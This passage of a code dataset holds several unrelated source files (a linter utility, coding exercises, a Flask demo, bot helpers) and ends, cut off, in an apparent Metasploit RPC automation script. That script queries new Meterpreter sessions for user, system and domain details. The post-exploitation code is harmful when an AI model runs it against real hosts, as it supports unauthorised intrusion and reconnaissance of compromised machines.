Message:\n \"\"\"Error message and meta information.\"\"\"\n\n def __init__(self, filename, lineno, charno, text):\n \"\"\"Initialize a message.\n\n Parameters\n ----------\n filename : str\n The filename from which the message is reported.\n lineno : int (or None)\n The line number at which the error/problem is reported.\n None if no error/problem is reported.\n charno : int (or None)\n The character position at which the error/problem is reported.\n None if no error/problem is reported.\n text : str\n A description of the error/problem.\n\n \"\"\"\n if not (lineno is None or (isinstance(lineno, int) and lineno > 0)):\n raise TypeError('`lineno` must be a positive integer or None')\n if not (charno is None or (isinstance(charno, int) and charno > 0)):\n raise TypeError('`charno` must be a positive integer or None')\n self.filename = filename\n self.lineno = lineno\n self.charno = charno\n self.text = text\n\n def __lt__(self, other):\n \"\"\"Test if one Message is less than another.\"\"\"\n if self.__class__ != other.__class__:\n raise TypeError('A Message instance can only be compared to another Message instance.')\n tup_self = (self.filename or '', self.lineno or 0, self.charno or 0, self.text)\n tup_other = (other.filename or '', other.lineno or 0, other.charno or 0, other.text)\n return tup_self < tup_other\n\n def format(self, color=True):\n \"\"\"Return a nicely formatted string representation of the message.\"\"\"\n if color:\n purple, red, endcolor, bold = '\\033[35m', '\\033[31m', '\\033[0m', '\\033[1m'\n else:\n purple, red, endcolor, bold = ['']*4\n # Fix the location string\n if self.filename is None:\n location = bold + '(nofile)' + endcolor\n else:\n linechar = '{}:{}'.format(\n '-' if self.lineno is None else self.lineno,\n '-' if self.charno is None else self.charno,\n )\n location = '{0}{1:9s}{2} {3}{4}{2}'.format(\n bold + red, linechar, endcolor, purple, str(self.filename))\n # Return string with location and text\n return '{} {}'.format(location, self.text)\n\n def __str__(self):\n \"\"\"Return a human-readable string representation.\"\"\"\n return self.format(color=False)\n\n def indiff(self, files_lines):\n \"\"\"Test if Message occurs in git diff results by checking the line numbers.\n\n Parameters\n ----------\n files_lines : dict\n Dictionary of filename to the set of line numbers (that have been modified).\n Result of git diff from run_diff function. The set of line numbers may also\n be None, indicating that all lines should be considered in that file.\n\n \"\"\"\n if self.filename in files_lines:\n line_numbers = files_lines[self.filename]\n return line_numbers is None or self.lineno is None or self.lineno in line_numbers\n else:\n return False\n\n\ndef run_command(command, verbose=True, cwd=None, has_failed=None, stdin='', encoding='utf-8'):\n \"\"\"Run command as subprocess with default settings suitable for trapdoor scripts.\n\n Parameters\n ----------\n command : list of str\n The command argument to be passed to Popen.\n verbose : bool\n When set to False, the command will not be printed on screen.\n cwd : str\n The working directory where the command is executed.\n has_failed : function(returncode, stdout, stderr)\n A function that determines if the subprocess has failed. The default\n behavior is to check for a non-zero return code.\n stdin : str\n Standard input to be provided to the script.\n encoding : str or None\n The encoding to be used for in- and output.\n\n Returns\n -------\n output : (str, str)\n if Sucessful, the output collected from stdout and stderr are returned.\n\n Raises\n ------\n In case the subprocess returns a non-zero exit code, the stdout and stderr are printed\n on screen and RuntimeError is raised.\n\n \"\"\"\n # Functions to detect failure\n def default_has_failed(returncode, _stdout, _stderr):\n \"\"\"Detect failed subprocess, default implementation.\"\"\"\n return returncode != 0\n if has_failed is None:\n has_failed = default_has_failed\n\n if verbose:\n print('RUNNING : {0}'.format(' '.join(command)))\n proc = subprocess.Popen(\n command, stdin=subprocess.PIPE, stdout=subprocess.PIPE,\n stderr=subprocess.PIPE, cwd=cwd)\n if encoding is None:\n stdout, stderr = proc.communicate(stdin)\n else:\n stdout, stderr = proc.communicate(stdin.encode(encoding))\n stdout = stdout.decode(encoding)\n stderr = stderr.decode(encoding)\n if has_failed(proc.returncode, stdout, stderr):\n print('RETURN CODE: {}'.format(proc.returncode))\n print('STDOUT')\n print('------')\n print(stdout)\n print('STDERR')\n print('------')\n print(stderr)\n raise RuntimeError('Subprocess has failed.')\n return stdout, stderr\n\n\ndef matches_filefilter(filename, rules):\n \"\"\"Test a filename against a list of filter rules.\n\n Parameters\n ----------\n filename : str\n A filename to be tested.\n rules : list\n A list of strings, starting with - (exclude) or + (include), followed by a glob\n pattern. Each file is tested against the rules in order. The first matching rule\n is applied. If no rules match, the file is excluded.\n\n Returns\n -------\n accepted: boolean\n True if the file should be included.\n\n \"\"\"\n # Check format of the rules\n for rule in rules:\n if rule[0] not in '+-':\n raise ValueError('Unexpected first character in filename filter rule: {}'.format(\n rule[0]))\n\n for rule in rules:\n pattern = rule[1:].strip()\n if fnmatch(filename, pattern):\n return rule[0] == '+'\n return False\n\n\ndef get_offset_step(suffix):\n \"\"\"Return offset and step for a given selection suffix, e.g. '1/3' becomes (0, 3).\"\"\"\n if suffix == '' or suffix is None:\n return 0, 1\n if suffix.count('/') != 1:\n raise ValueError('Could not parse selection argument suffix: \"{}\". It should '\n 'contain only one /.'.format(suffix))\n offset, step = suffix.split('/')\n step = int(step)\n offset = int(offset)\n if offset < 1 or offset > step:\n raise ValueError(('The first integer in the suffix {} should be in the range '\n '[1, {}].').format(suffix, step))\n return offset - 1, step\n\n\ndef filter_configs(configs, selection, boolexpr, part):\n \"\"\"Select some linter configs to be executed, based on the selection CLI argument.\n\n Parameters\n ----------\n configs : list\n A list of (linter, linter_config) items.\n selection : list\n A list of linter names to be selected. All other linters will be omitted from the\n returned list of configs.\n boolexpr : str\n A boolean expression in terms of flags set on the linters. If it evaluates to\n False, the linter is omitted as well.\n part : str\n A string of the form N/M, to run only a part of the linters retained by the\n arguments above.\n\n Returns\n -------\n filtered_configs : list\n A reduced list of items from configs.\n\n \"\"\"\n # Pass 1: by linter name (selection list)\n if not (selection is None or selection == []):\n configs = [config for config in configs if config[0].name in selection]\n # Pass 2: boolean expression\n if not (boolexpr is None or boolexpr == ''):\n oldconfigs = configs\n configs = []\n for config in oldconfigs:\n namespace = config[0].flags.copy()\n namespace['name'] = config[0].name\n if eval(boolexpr, namespace): # pylint: disable=eval-used\n configs.append(config)\n # Pass 3: part N/M\n offset, step = get_offset_step(part)\n configs = configs[offset::step]\n return configs\n\n\ndef parse_diff(diff_output):\n \"\"\"Parse the output of a unified diff and return the files with lines that are new.\n\n Parameters\n ----------\n diff_output : bytes\n The standard output of the diff command\n\n Returns\n -------\n files_lines : dict\n A dictionary with (filename, lines) items, where filename is a str\n object and lines is a set of line numbers.\n\n \"\"\"\n # parse git diff output\n current_filename = None\n files_lines = {}\n for line in diff_output.splitlines():\n if line.startswith(b'+++ '):\n if line.startswith(b'+++ b/'):\n current_filename = line[6:]\n else:\n current_filename = None\n elif line.startswith(b'@@ ') and current_filename is not None:\n added_str = line.split()[2]\n # multiple lines added/modified\n if added_str.count(b',') == 1:\n offset, nlines = added_str.split(b',')\n line_numbers = set(range(int(offset), int(offset) + int(nlines)))\n # single line added/modified\n else:\n offset = int(added_str)\n line_numbers = set([offset])\n # store line numbers\n files_lines.setdefault(current_filename.decode('utf-8'), set()).update(line_numbers)\n return files_lines\n\n\nclass Linter:\n \"\"\"Run linter function with appropriate argument and keep track of meta info.\"\"\"\n\n def __init__(self, name, run, default_config, style='static', language='generic'):\n \"\"\"Initialize a Linter intsance.\n\n Parameters\n ----------\n name : str\n A short name for the linter.\n run : function\n A function taking two arguments: config (dict) and a list of filenames.\n default_config : dict\n The default configuration. All possible keys must be present.\n style : str\n \"static\" or \"dynamic\"\n language : str\n The file format or language the linter is designed for. Use \"generic\" if any\n text file can be linted.\n\n \"\"\"\n self.name = name\n self.run = run\n self.default_config = default_config\n self.style = style\n self.language = language\n self.flags = derive_flags(style, language)\n\n def __call__(self, config, files_lines):\n \"\"\"Run the linter.\n\n Parameters\n ----------\n config : dict\n Cofiguration of the linter, loaded from .cardboardlint.yml\n files_lines : dict\n Dictionary of filename to the set of line numbers (that have been modified).\n\n Returns\n -------\n messages : list\n A list of Message instances.\n\n \"\"\"\n config = apply_config_defaults(self.name, config, self.default_config)\n\n # Get the relevant filenames\n filenames = [filename for filename in files_lines\n if matches_filefilter(filename, config['filefilter'])]\n\n # Call the linter and return messages\n return self.run(config, filenames)\n\n\ndef derive_flags(style, language):\n \"\"\"Create a dictionary of boolean flags.\"\"\"\n valid_styles = ['static', 'dynamic']\n if style not in valid_styles:\n raise ValueError('Linter style should be one of {}'.format(valid_styles))\n valid_languages = ['generic', 'python', 'cpp', 'yaml']\n if language not in valid_languages:\n raise ValueError('Linter language should be one of {}'.format(valid_languages))\n flags = {}\n for name in valid_styles:\n flags[name] = (name == style)\n for name in valid_languages:\n flags[name] = (name == language)\n return flags\n\n\ndef apply_config_defaults(linter_name, config, default_config):\n \"\"\"Add defaults to a config and check for unknown config settings.\n\n Parameters\n ----------\n linter_name : str\n The name of the linter\n config : dict\n A dictionary with a linter config loaded from the YAML file.\n default_config : dict\n A dictionary with the default configuration, which must contain all keys.\n\n Returns\n -------\n merged_config : dict\n The config with defaults added.\n\n \"\"\"\n # Check for unknown config keys\n for key in config:\n if key not in default_config:\n raise ValueError('Unknown config key for linter {}: {}'.format(linter_name, key))\n # Fill in the default values\n merged_config = default_config.copy()\n merged_config.update(config)\n return merged_config\n","sub_path":"cardboardlint/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":13906,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"459279311","text":"#! /usr/bin/python3\nclass node:\n def __init__(self,rate):\n self.rate = rate\n self.num = 0\n def product(self):\n return self.num * self.rate\n def increase(self,num):\n self.num += num\n return self.num\n def __str__(self):\n return str(self.num)\n def get_num(self):\n return self.num\n\nrate = [node(24*2),node(192),node(640),node(4096),node(24576),node(65536),node(2.62*(10**5)),node(0)]\nrate[0].increase(0)\nrate[1].increase(2.68*(10**14)*2+2.68*(10**14)*2)\nrate[-1].increase(1)\n\nrate1 = [node(24*2),node(192),node(640),node(4096),node(24576),node(65536),node(2.62*(10**5)),node(0)]\nrate1[0].increase(5.36*(10**7)*4)\n\ndef print_iter(iterm):\n print(\"[\",end='')\n for x in iterm:\n print(x,end=',')\n print(']')\n\ndef delt(iterm):\n previous = iterm[0]\n for x in iterm[1:]:\n x.increase(previous.product())\n previous = x\n return iterm\n\ndef make_table(iterm,times):\n ret_time = [0]\n ret_iterm = [iterm[-1].get_num()]\n for x in range(1,times):\n ret_time.append(x)\n delt(iterm)\n ret_iterm.append(iterm[-1].get_num())\n return (ret_time,ret_iterm)\n\ntime = 0\nwhile rate[1].get_num() > rate1[1].get_num():\n delt(rate)\n delt(rate1)\n# print(\"rate %.2e\"%rate[-2].product(),\"rate1 %.2e\"%rate1[-2].product())\n time += 1\n\nprint(time,\"rate %.2e\"%rate[-1].get_num(),\"rate1 %.2e\"%rate1[-1].get_num(),rate[-1].get_num() < rate1[-1].get_num())\n","sub_path":"python/compGame_The_origins_of_all_things.py","file_name":"compGame_The_origins_of_all_things.py","file_ext":"py","file_size_in_byte":1458,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"564076370","text":"\"\"\"\n回文链表\n请判断一个链表是否为回文链表。\n\"\"\"\nclass ListNode:\n def __init__(self, x):\n self.val = x\n self.next = None\n\nclass Solution:\n def isPalindrome(self, head: ListNode) -> bool:\n p = head\n len = 0\n while(p):\n\n p = p.next\n len+=1\n start = head\n end = head\n for i in range(int(len/2)):\n end = end.next\n if(len % 2 == 1):\n end = end.next\n\n end = self.reverseList(end)\n\n while(start and end):\n if(start.val != end.val):\n return False\n start = start.next\n end=end.next\n return True\n\n def reverseList(self, head: ListNode) -> ListNode:\n h = ListNode(0)\n while (head):\n p = head.next\n head.next = h.next\n h.next = head\n head = p\n return h.next\n\nif __name__ == '__main__':\n head = ListNode(1)\n second = ListNode(2)\n three = ListNode(2)\n four = ListNode(1)\n head.next = second\n second.next = three\n three.next = four\n # i = 2\n # test = head\n # while (i < 3):\n # node = ListNode(i)\n # test.next = node\n # test = test.next\n # i += 1\n\n s = Solution()\n print(s.isPalindrome(head))","sub_path":"python/chuji/chiji_list/leetCode_234.py","file_name":"leetCode_234.py","file_ext":"py","file_size_in_byte":1308,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"240568272","text":"num_cases = int(input())\nn = int(input())\narrs = []\nfor i in range(0, num_cases):\n arrs.append(int(x) for x in input().split())\n\nresult = []\n\nfor arr in arrs:\n dic = {}\n for x in arr:\n if x not in dic.keys():\n dic[x] = 1\n else:\n dic[x] = dic[x] + 1\n\n dic = sorted(dic.items(), key=lambda x: x[1], reverse=True)\n result_list = []\n for key in dic:\n for i in range(0, key[1]):\n result_list.append(str(key[0]))\n result.append(result_list)\nfor r in result:\n print(' '.join(r))\n","sub_path":"online1/problem1.py","file_name":"problem1.py","file_ext":"py","file_size_in_byte":550,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"420167610","text":"import numpy as np\r\nimport matplotlib.pyplot as plt\r\nfrom csv import reader\r\n\r\nx = []\r\ny = []\r\nvalues = []\r\nmax_values = []\r\n\r\n# HÄMTA DATA\r\nwith open('rawdata119870.csv', 'r') as csvfile:\r\n data = list(reader(csvfile))\r\n\r\nfor row in data:\r\n values.append({'x': float(row[0]), 'y': float(row[2])})\r\n\r\n# RÄKNA UT MEDLET\r\nindex = 0\r\nlenSample = 27\r\n\r\nwhile index < len(values):\r\n n = 0\r\n xv = 0 \r\n yv = 0\r\n try:\r\n while n < lenSample:\r\n yv += values[index]['y']\r\n xv += values[index]['x']\r\n n += 1\r\n index += 1\r\n\r\n x.append(xv/lenSample)\r\n y.append(yv/lenSample)\r\n except IndexError:\r\n pass\r\n\r\nplt.plot(x, y)\r\nplt.title('graph')\r\nplt.show()","sub_path":"AI/data analys/uppgift/2c.py","file_name":"2c.py","file_ext":"py","file_size_in_byte":733,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"132611014","text":"from flask import Flask\nfrom flask import render_template, request, session, url_for, redirect\n\napp = Flask(__name__)\napp.secret_key = 'whoknowsthissecretw'\n\n@app.route('/')\ndef index():\n return render_template('index2.html')\n \n@app.route('/about')\ndef about():\n return render_template('about.html')\n\n@app.route('/login', methods=['POST'])\ndef login():\n user = request.form['user']\n session['user'] = user\n return render_template('welcome.html', user_name=user)\n\n@app.route('/logout')\ndef logout():\n del session['user']\n return redirect(url_for('index'))\n\n\nif __name__ == '__main__':\n app.run(debug=True)","sub_path":"FlaskEx1/src/ex2_v1.py","file_name":"ex2_v1.py","file_ext":"py","file_size_in_byte":631,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"415168496","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\nfrom django.views.generic import View, TemplateView, CreateView, UpdateView, FormView, ListView\nfrom django.views import generic\nfrom django.conf import settings \nfrom django.shortcuts import render\n\n# Create your views here.\n\nclass Sell_In_OutView(TemplateView):\n template_name = 'sell-inXsell-out.html'\nsell = Sell_In_OutView.as_view() \n\n\nclass VendasDiariasView(TemplateView):\n template_name = 'vendas_diarias.html'\nvendas_diarias = VendasDiariasView.as_view() \n\n\nclass NielsenView(TemplateView):\n template_name = 'nielsen.html'\nnielsen = NielsenView.as_view()\n\n\nclass CloseUpView(TemplateView):\n template_name = 'close-up.html'\ncloseup = CloseUpView.as_view()","sub_path":"PowerBiNestle/core/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":745,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"557385589","text":"import math\r\nfrom rlutilities.linear_algebra import vec3, normalize, dot, norm\r\nfrom rlutilities.simulation import Car, Ball\r\n\r\nfrom utils.vector_math import *\r\nfrom utils.math import *\r\n\r\ndef estimate_max_car_speed(car: Car):\r\n return clamp(max(norm(car.velocity), 1300) + car.boost * 100, 1600, 2300)\r\n\r\ndef estimate_time(car: Car, target, speed, dd=1) -> float:\r\n dist = distance(car, target)\r\n if dist < 100:\r\n return 0\r\n travel = dist / speed\r\n turning = angle_between(car.forward() * dd, direction(car, target)) / math.pi * 2\r\n if turning < 1:\r\n turning **= 2\r\n acceleration = (speed * dd - dot(car.velocity, car.forward())) / 2100 * 0.2 * dd / max(car.boost / 20, 1)\r\n return travel + acceleration + turning * 0.7\r\n\r\ndef turn_radius(speed: float) -> float:\r\n spd = clamp(speed, 0, 2300)\r\n return 156 + 0.1*spd + 0.000069*spd**2 + 0.000000164*spd**3 + -5.62E-11*spd**4\r\n\r\ndef turning_speed(radius: float) -> float:\r\n return 10.219 * radius - 1.75404E-2 * radius**2 + 1.49406E-5 * radius**3 - 4.486542E-9 * radius**4 - 1156.05\r\n\r\n\r\ndef on_team_half(team: int, pos: vec3):\r\n team_sign = 1 if team else -1\r\n return sign(pos[1]) == team_sign\r\n\r\ndef align(pos: vec3, ball: Ball, goal: vec3):\r\n return max(\r\n dot(ground_direction(pos, ball), ground_direction(ball, goal)),\r\n dot(ground_direction(pos, ball), ground_direction(ball, goal + vec3(800, 0, 0))),\r\n dot(ground_direction(pos, ball), ground_direction(ball, goal - vec3(800, 0, 0)))\r\n )\r\n\r\ndef nearest_point(pos: vec3, points: list):\r\n best_dist = 9999999\r\n best_point = None\r\n for point in points:\r\n dist = distance(pos, point)\r\n if dist < best_dist:\r\n best_dist = dist\r\n best_point = point\r\n return best_point\r\n\r\ndef furthest_point(pos: vec3, points: list):\r\n best_dist = 0\r\n best_point = None\r\n for point in points:\r\n dist = distance(pos, point)\r\n if dist > best_dist:\r\n best_dist = dist\r\n best_point = point\r\n return best_point","sub_path":"RLBotPack/BotimusPrime/utils/misc.py","file_name":"misc.py","file_ext":"py","file_size_in_byte":2064,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"270521174","text":"import threading\nfrom . import Paragraph\nfrom PIL import Image, ImageDraw, ImageEnhance\n\n#process for the thread that creates the first layer\nclass baseThread (threading.Thread):\n def __init__(self, threadID, lock, image, outputFile):\n threading.Thread.__init__(self)\n self.threadID = threadID\n self.image = image\n self.lock = lock\n self.outputFile = outputFile\n\n def run(self):\n #print(\"Starting \" + self.name)\n # Get lock to synchronize threads\n self.lock.acquire()\n\n pixels = self.image.load();\n\n for x in range(self.image.size[0]):\n for y in range(self.image.size[1]):\n avg = ( pixels[x,y][0] + pixels[x,y][1] + pixels[x,y][2] )//3\n pixels[x,y] = (avg,avg,avg,255)\n\n\n enhancer = ImageEnhance.Contrast(self.image)\n enhancer.enhance(1.8).save(self.outputFile)\n\n # Free lock to release next thread\n self.lock.release()","sub_path":"dataportrait/portraitimage/lib/baseLayer.py","file_name":"baseLayer.py","file_ext":"py","file_size_in_byte":964,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"212088095","text":"\"\"\"\nTesting UrlComparator\n\nThere are little comments for each testcase because the name\nof each testcase is very descriptive\n\"\"\"\n\nfrom django.test import TestCase\nfrom sectionproject.urlutils.urlcomparator.urlcomparator import UrlComparator\n\nclass ComparatorTest(TestCase):\n # input: wiki example in writeup\n # expected: equal\n def test_wikiExample(self):\n urlA = 'http://en.wikipedia.org/wiki/Unit_testing#Unit_testing_limitations'\n urlB = 'http://en.wikipedia.org/wiki/Unit_testing#Language-'\n \n expected = 0\n res = UrlComparator.compareNormalizeUrl(urlA, urlB)\n \n self.assertEqual(expected, res, 'expected: ' + str(expected) +\\\n ', actual: ' + str(res))\n \n # input: two different url\n # expected: one larger than the other, viceversa for opposite direction \n def test_normalGreaterLesser(self):\n urlA = 'www.google.com'\n urlB = 'www.nba.com'\n \n self.assertTrue(UrlComparator.compareNormalizeUrl(urlA, urlB) < 0)\n self.assertTrue(UrlComparator.compareNormalizeUrl(urlB, urlA) > 0)\n \n # input: one url with www., one without\n # expected: correct behavior\n def test_normalizedWWWDotDifferentUrl(self):\n urlA = 'www.google.com'\n urlB = 'nba.com'\n \n self.assertTrue(UrlComparator.compareNormalizeUrl(urlA, urlB) < 0)\n \n # inputs: url with same query in different order\n # expected equal\n def test_normalizedEqualDifferentQueryUrl(self):\n urlA = 'www.google.com/?q=cse403;id=1'\n urlB = 'www.google.com/?id=1&q=cse403'\n \n self.assertTrue(UrlComparator.compareNormalizeUrl(urlA, urlB) == 0)\n \n # input: url with capital letters in path\n # expected: capital letter should come before \n def test_caseSensitiveCases(self):\n urlA = 'www.google.com/Images'\n urlB = 'www.google.com/images'\n \n self.assertTrue(UrlComparator.compareNormalizeUrl(urlA, urlB) < 0)\n \n # input: two urls\n # expected: order by alphabetical order\n def test_sourcecomparison(self):\n urlA = 'www.google.com'\n urlB = 'nba.com'\n self.assertTrue(UrlComparator.compareSourceUrl(urlA, urlB) > 0)\n \n # input: a url and two list where one has exactly the same url\n # expected: source unique for one and not source unique for the other\n def test_sourceUnique(self):\n url = 'www.google.com'\n list1 = ['google.com', 'http://google.com']\n list2 = ['www.google.com', 'something.net']\n \n self.assertTrue(UrlComparator.isSourceUnique(url, list1))\n self.assertFalse(UrlComparator.isSourceUnique(url, list2))\n \n # input: a url compared to 1) same url, 2) different but same norm url, 3) entirely\n # different url\n # expected: 1) False, 2) False, 3) True \n def test_normunique(self):\n url = 'http://en.wikipedia.org/wiki/Unit_testing#Unit_testing_limitations'\n # same url\n list1 = ['http://en.wikipedia.org/wiki/Unit_testing#Unit_testing_limitations']\n \n # norm same url\n list2 = ['http://en.wikipedia.org/wiki/Unit_testing#Language-']\n \n # different url\n list3 = ['wikipedia.org']\n \n self.assertFalse(UrlComparator.isNormalizeUnique(url, list1))\n self.assertFalse(UrlComparator.isNormalizeUnique(url, list2))\n self.assertTrue(UrlComparator.isNormalizeUnique(url, list3))\n \n \n \n \n \n \n \n \n ","sub_path":"sectionproject/urlutils/urlcomparator/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":3556,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"50280971","text":"import re\nfrom MailService.mandrillMailService import EmailSenderMandrill\nfrom MailService.mailjetMailService import EmailSenderMailJet\nfrom MailService.awsMailService import EmailSenderAWS\n\n\nclass EmailService:\n \"\"\"\n This class is the service interface.\n It will\n - validate the emails address, subject and email content text\n - call EmailSender to send the emails. EmailSender is the email service providers.\n - failover. EmailSerivce privode the abstract of the email service provides.\n If one of the services goes down, EmailService will quickly failover to a different provider without affecting the customers.\n \"\"\"\n\n sender_id = 0\n\n def __init__(self):\n self.senderservice = []\n self.senderservice.append(EmailSenderMailJet())\n self.senderservice.append(EmailSenderAWS())\n self.senderservice.append(EmailSenderMandrill())\n\n def validate_email_address(self, email_address):\n \"\"\"\n Validates Email\n \"\"\"\n return re.match(\n r\"[a-zA-Z0-9]+(\\.?[a-zA-Z0-9]+)*@[a-zA-Z0-9]+(\\.?[a-zA-Z0-9]+)*\\.[a-zA-Z0-9]{2,}\",\n email_address,\n )\n\n def list_or_str_to_valid_list(self, list_or_string):\n \"\"\"\n This is a helper method to convert a string into a list with the string only\n Or if the input is already list, simply return itself\n Meanwhile if the email address is invalid, remove it from the list\n \"\"\"\n if isinstance(list_or_string, list):\n\n for email in list_or_string:\n if not self.validate_email_address(email):\n list_or_string.remove(email)\n return list_or_string\n\n else:\n result_list = []\n if self.validate_email_address(list_or_string):\n result_list.append(list_or_string)\n return result_list\n\n def send_email(self, from_email, to_list, cc_list, bcc_list, subject, text):\n \"\"\"\n This is to send email by the email sender class and failover.\n It will also validate the from, to email address. Validate the subject and email content text.\n It will return an status code and message\n\n The to_list, cc_list and bcc_list could be None or an empty list [] or a string representing one email address, or a list of email addresses.\n But it should have at least one valid to or cc or bcc email address.\n\n status message\n 0 success\n 1 from email address invalid\n 2 no valid to/cc/bcc email address\n 3 subject and text both are empty\n 4 all email sender failed\n 5 configuration not complete\n \"\"\"\n\n # checking 'from' email address\n if (\n from_email is None\n or len(from_email) == 0\n or not self.validate_email_address(from_email)\n ):\n return 1, \"from email address invalid\"\n\n # checking 'to' email address\n if to_list is None or len(to_list) == 0:\n to_list = []\n else:\n to_list = self.list_or_str_to_valid_list(to_list)\n\n # checking 'cc' email address\n if cc_list is None or len(cc_list) == 0:\n cc_list = []\n else:\n cc_list = self.list_or_str_to_valid_list(cc_list)\n\n # checking 'bcc' email address\n if bcc_list is None or len(bcc_list) == 0:\n bcc_list = []\n else:\n bcc_list = self.list_or_str_to_valid_list(bcc_list)\n\n if len(to_list) == 0 and len(cc_list) == 0 and len(bcc_list) == 0:\n return (\n 2,\n \"No valid to/cc/bcc email address. Please provide at least one valid to/cc/bcc email address.\",\n )\n\n # checking 'subject' and 'text\n if not subject and not text:\n return 3, \"subject and text both are empty\"\n elif not subject:\n subject = \"\"\n elif not text:\n text = \"\"\n\n # Sending email\n for retry in range(len(self.senderservice)):\n status, message = self.senderservice[EmailService.sender_id].send(\n from_email, to_list, cc_list, bcc_list, subject, text\n )\n if status == 0:\n message = \"success\"\n break\n EmailService.sender_id = (EmailService.sender_id + 1) % len(\n self.senderservice\n )\n else:\n status = 4\n message = (\n \"Emails failed in sending. The error message is as followed:\\n\"\n + message\n )\n\n return status, message\n","sub_path":"service.py","file_name":"service.py","file_ext":"py","file_size_in_byte":4644,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"221668014","text":"#-*- coding:utf-8 -*-\n#瑞达期货\nfrom getnews2 import get_net_news\n\ndef test_ali88():\n main_url='http://info.1688.com'\n re_html=r'
(.*?)
'\n re_list=r'
.*?'\n re_time=''\n re_content=r'
(.*?)
'\n re_hand=[]\n typeid=186\n typeid2=155\n url='http://info.1688.com/tags_list/v5003220-l18935.html'\n get_net_news(main_url,url,typeid,typeid2,re_html,re_list,re_time,re_content,re_hand)\n\ntest_ali88()","sub_path":"zzpython/数据更新/get_zz91_news/ali88.py","file_name":"ali88.py","file_ext":"py","file_size_in_byte":497,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"321796321","text":"#!/usr/bin/env python3\n\nimport re\nimport os\nimport sys\nimport time\nimport signal\nimport msfrpc\nimport asyncio\nimport argparse\nimport netifaces\nfrom IPython import embed\nfrom termcolor import colored\nfrom netaddr import IPNetwork, AddrFormatError\nfrom subprocess import Popen, PIPE, CalledProcessError\n\nBUSY_SESSIONS = []\n\ndef parse_args():\n # Create the arguments\n parser = argparse.ArgumentParser()\n parser.add_argument(\"-l\", \"--hostlist\", help=\"Host list file\")\n parser.add_argument(\"-p\", \"--password\", default='123', help=\"Password for msfrpc\")\n parser.add_argument(\"-u\", \"--username\", default='msf', help=\"Username for msfrpc\")\n return parser.parse_args()\n\n# Colored terminal output\ndef print_bad(msg):\n print((colored('[-] ', 'red') + msg))\n\ndef print_info(msg):\n print((colored('[*] ', 'blue') + msg))\n\ndef print_good(msg):\n print((colored('[+] ', 'green') + msg))\n\ndef print_great(msg):\n print((colored('[!] {}'.format(msg), 'yellow', attrs=['bold'])))\n\ndef kill_tasks():\n print()\n print_info('Killing tasks then exiting...')\n for task in asyncio.Task.all_tasks():\n task.cancel()\n\ndef get_iface():\n '''\n Gets the right interface for Responder\n '''\n try:\n iface = netifaces.gateways()['default'][netifaces.AF_INET][1]\n except:\n ifaces = []\n for iface in netifaces.interfaces():\n # list of ipv4 addrinfo dicts\n ipv4s = netifaces.ifaddresses(iface).get(netifaces.AF_INET, [])\n\n for entry in ipv4s:\n addr = entry.get('addr')\n if not addr:\n continue\n if not (iface.startswith('lo') or addr.startswith('127.')):\n ifaces.append(iface)\n\n iface = ifaces[0]\n\n return iface\n\ndef get_local_ip(iface):\n '''\n Gets the the local IP of an interface\n '''\n ip = netifaces.ifaddresses(iface)[netifaces.AF_INET][0]['addr']\n return ip\n\nasync def get_shell_info(CLIENT, sess_num):\n sysinfo_cmd = 'sysinfo'\n sysinfo_end_str = b'Meterpreter : '\n\n sysinfo_output = await run_session_cmd(CLIENT, sess_num, sysinfo_cmd, sysinfo_end_str)\n # Catch error\n if type(sysinfo_output) == str:\n return sysinfo_output\n\n else:\n sysinfo_utf8_out = sysinfo_output.decode('utf8')\n sysinfo_split = sysinfo_utf8_out.splitlines()\n\n getuid_cmd = 'getuid'\n getuid_end_str = b'Server username:'\n\n getuid_output = await run_session_cmd(CLIENT, sess_num, getuid_cmd, getuid_end_str)\n # Catch error\n if type(getuid_output) == str:\n return getuid_output\n else:\n getuid_utf8_out = getuid_output.decode('utf8')\n getuid = 'User : '+getuid_utf8_out.split('Server username: ')[-1].strip().strip()\n\n # We won't get here unless there's no errors\n shell_info_list = [getuid] + sysinfo_split\n\n return shell_info_list\n\ndef get_domain(shell_info):\n for l in shell_info:\n l_split = l.split(':')\n if 'Domain ' in l_split[0]:\n if 'WORKGROUP' in l_split[1]:\n return False\n else:\n domain = l_split[-1].strip()\n return domain\n\ndef is_domain_joined(user_info, domain):\n info_split = user_info.split(':')\n dom_and_user = info_split[1].strip()\n dom_and_user_split = dom_and_user.split('\\\\')\n dom = dom_and_user_split[0]\n user = dom_and_user_split[1]\n if domain:\n if dom.lower() in domain.lower():\n return True\n\n return False\n\ndef print_shell_data(shell_info, admin_shell, local_admin, sess_num_str):\n print_info('New shell info')\n for l in shell_info:\n print(' '+l)\n msg = ''' Admin shell : {}\n Local admin : {}\n Session number : {}'''.format( \n admin_shell.decode('utf8'), \n local_admin.decode('utf8'),\n sess_num_str)\n print(msg)\n\nasync def sess_first_check(CLIENT, session, sess_num):\n if b'first_check' not in session:\n print_good('Session {} found, gathering shell info...'.format(str(sess_num)))\n\n # Give meterpeter chance to open\n await asyncio.sleep(2)\n\n sess_num_str = str(sess_num)\n session[b'first_check'] = b'False'\n session[b'session_number'] = sess_num_str.encode()\n\n shell_info = await get_shell_info(CLIENT, sess_num)\n # Catch errors\n if type(shell_info) == str:\n 